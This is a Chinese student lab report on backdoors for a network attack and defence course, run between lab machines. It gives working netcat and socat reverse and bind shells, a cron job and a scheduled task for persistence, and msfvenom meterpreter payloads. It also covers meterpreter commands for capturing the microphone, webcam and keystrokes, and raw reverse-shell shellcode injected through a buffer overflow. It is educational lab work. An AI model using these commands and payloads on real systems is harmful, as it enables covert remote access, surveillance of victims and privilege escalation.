2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp2 后门原理与实践
实验内容
-
1、使用netcat获取主机操作Shell,cron启动 (0.5分)
-
2、使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
-
5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
基础问题回答
-
1、例举你能想到的一个后门进入到你系统中的可能方式?
答:正版软件故意或被攻击,包含后门;正版库文件中包含后门;安装包中包含后门,放到网上供下载;绑定到特定文件中,放到网上供下载;直接发送恶意程序;发送攻击性钓鱼链接,恶意网站种马;攻击系统漏洞,获取控制权后,安装后门。 -
2、例举你知道的后门如何启动起来(win及linux)的方式?
答:开机自启动技术;win的定时任务;linux的cron(linux下的定时执行工具);修改文件关联;修改后门程序名字、图标、扩展名,诱导用户点击。 -
3、Meterpreter有哪些给你映像深刻的功能?
答:可直接生成后门程序,生成后门程序,可以获取目标主机音频、摄像头、截图、击键操作(谍战片的既视感)。 -
4、如何发现自己有系统有没有被安装后门?
答:及时安装系统补丁,开启杀毒软件,杀毒软件的木马库版本及时更新,手动查看注册表和启动项,关注任务计划程序库。
常用工具学习
NC或netcat
是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作用。
netcat常用命令
natcat.exe -help
可以查看帮助文档
-4 Use IPv4 only
-6 Use IPv6 only
-C, --crlf Use CRLF for EOL sequence
-c, --sh-exec <command> Executes the given command via /bin/sh
-e, --exec <command> Executes the given command
--lua-exec <filename> Executes the given Lua script
-g hop1[,hop2,...] Loose source routing hop points (8 max)
-G <n> Loose source routing hop pointer (4, 8, 12, ...)
-m, --max-conns <n> Maximum <n> simultaneous connections
-h, --help Display this help screen
-d, --delay <time> Wait between read/writes
-o, --output <filename> Dump session data to a file
-x, --hex-dump <filename> Dump session data as hex to a file
-i, --idle-timeout <time> Idle read/write timeout
-p, --source-port port Specify source port to use
-s, --source addr Specify source address to use (doesn't affect -l)
-l, --listen Bind and listen for incoming connections
-k, --keep-open Accept multiple connections in listen mode
-n, --nodns Do not resolve hostnames via DNS
-t, --telnet Answer Telnet negotiations
-u, --udp Use UDP instead of default TCP
--sctp Use SCTP instead of default TCP
Win获得Linux Shell
-
1.Windows 打开监听
- 下载解压ncat.rar
- 进入ncat.exe所在文件夹,并执行
ncat.exe -l -p 端口号
-
2.Linux反弹连接win
- 查询Windows的ip
- 反弹连接
nc windows端ip 5234 -e /bin/sh
- 查询Windows的ip
Linux获得Win Shell
- 1.Linux运行监听指令
进入ncat.exe所在文件夹,并执行nc -l -p 5234
- 2.Windows反弹连接Linux
- 获取linux端ip
ip address
- 反弹连接
ncat.exe -e cmd.exe linux的ip 5234
出现错误如图:
解决措施:关闭linux端防火墙
- 获取linux端ip
nc传输数据
- 1、Windows下监听
ncat.exe -l 5234
- 2、Kali下连接到Windows的
5234
端口
ncat 192.168.43.231 5234
Meterpreter
Meterpreter是Metasploit的默认Windows系统下的ShellCode。meterpreter是一种高级、隐蔽、多层面的且可动态扩展的payload,可以将反射dll注入到目标主机的内存中,还可以在运行时动态加载脚本和插件来进行后渗透利用。包括提权、转存系统账号、键盘记录、持久后门服务、启用远程桌面等,还有很多其他的扩展。而且,meterpreter shell的整个通信都是默认加密的。
Metasploit是一个漏洞框架,全称叫做The Metasploit Framework,简称叫做MSF。
实践过程记录
任务一:使用netcat获取主机操作Shell,cron启动
- Windows系统中监听端口:
ncat.exe -l -p 5234
- Linux系统中使用
crontab -e
增加一条定时任务
zsy20175234@ZhaoShiYue:~$ crontab -e
no crontab for zsy20175234 - using an empty one
Select an editor. To change later, run 'select-editor'.
1. /bin/nano <---- easiest
2. /usr/bin/vim.basic
3. /usr/bin/vim.tiny
Choose 1-3 [1]: 2
crontab: installing new crontab
在文段末尾,添加一行19 * * * * /bin/netcat 192.168.43.231 5234 -e /bin/sh
,意思是在每个小时的第19分钟(选了跟时间比较近的时间点)反向连接Windows主机让其能够执行Shell功能。
crontab -l
可查看任务列表
任务二:使用socat获取主机操作Shell, 任务计划启动
了解socat
NAME
Multipurpose relay (SOcket CAT)
SYNOPSIS
socat [options]
实验步骤
-
在开始右键打开计算机管理器
-
创建任务,任务名自定义
-
创建新的触发器,修改时间,勾选已启用
-
新建操作,操作为启动socat.exe程序,参数填写
tcp-listen:5234 exec:cmd.exe,pty,stderr
-
到设定时间点,Windows弹出socat.exe(不要关闭它)
-
在kali中输入
socat - tcp:192.168.43.231:5234
,千万千万不要乱加空格,否则会一直报错,然后就可以看到攻击成功的显示啦
任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234_backdoor.exe
- 小贴士1:如果报错
[*] Bundler failed to load and returned this error:
'cannot load such file -- bundler/setup'
[*] You may need to uninstall or upgrade bundler
是因为msfconsole依赖的版本为1.17.3,所以需要安装旧版本哦
- maybe你跟我一样不幸运,好不容易下载完又报错
ERROR: While executing gem ... (Gem::FilePermissionError)
You don't have write permissions for the /var/lib/gems/2.5.0 directory.
那就是安装的时候没有权限,那就是命令需要加上sudo的意思
-
通过ncat传送到Windows主机
Windows端输入ncat.exe -lv 5234 >20175234_backdoor.exe
Kali端输入nc 192.168.43.231 5234 < 20175234_backdoor.exe
-
在Kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口
-
执行监听
-
关闭Windows端的所有杀毒防护软件
-
运行Windows下的后门程序
20175234_backdoor.exe
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令可以截获一段音频
- 使用
webcam_snap
指令可以使用摄像头进行拍照
- 使用
screenshot
指令可以进行截屏
- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
- 使用
getuid
查看当前用户,getsystem
进行提权
???任务五:使用MSF生成后门程序,注入到实践1中的pwn1
-
查看靶机的目标程序类型
-
Kali生成后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1 LHOST=192.168.26.128 LPORT=5234 -f elf > 20175234_linux.bak
-
给后门程序加执行权限
chmod +x 20175234_linux.bak
-
攻击端进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口
-
执行监听
exploit
-
靶机运行后门程序
做完实验,我又偷偷看了看别人的博客,发现好像这个任务做的不对……以下是正解
!!!任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 进入Exploit DataBase查找需要的shellcode,
将里头的机器码复制出来
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
-
注入前的准备工作
execstack -s pwn1
//设置堆栈可执行
execstack -q pwn1
//查询文件的堆栈是否可执行,显示X pwn1则表示可执行
echo "0" > /proc/sys/kernel/randomize_va_space
//关闭地址随机化
more /proc/sys/kernel/randomize_va_space
//查看随机化是否关闭,如显示0则已关闭,2未关闭
-
通过gdb调试寻找shellcode的起始地址
初始input_shellcode:
perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
gdb调试
- 修改input_shellcode
perl -e 'print "A" x 32;print"\xb0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
-
另打开一终端,打开
msfconsole
,设置监听
-
前一终端注入操作
(cat input_shellcode;cat) | ./pwn1
总结与体会
我们通过简单的实践了解了简单的后门软件的生成、植入、运行过程,对后门原理有了初步的认识,也学到了后门工具(nc、meterpreter)的常用命令。
在阅读老师的实验指导书、同学的博客时感觉本次实验内容并不太难,但是很有趣。实践时却有很多问题,多一个空格会报错,输错了ip不显示直到最后出不来结果才发现,感觉只是简单安装个bundler也一直中断,好不容易把bundler下载下来又发现没有安装权限。但是整体还是很奈斯,尤其是能听到录音、看到摄像头拍摄的内容时。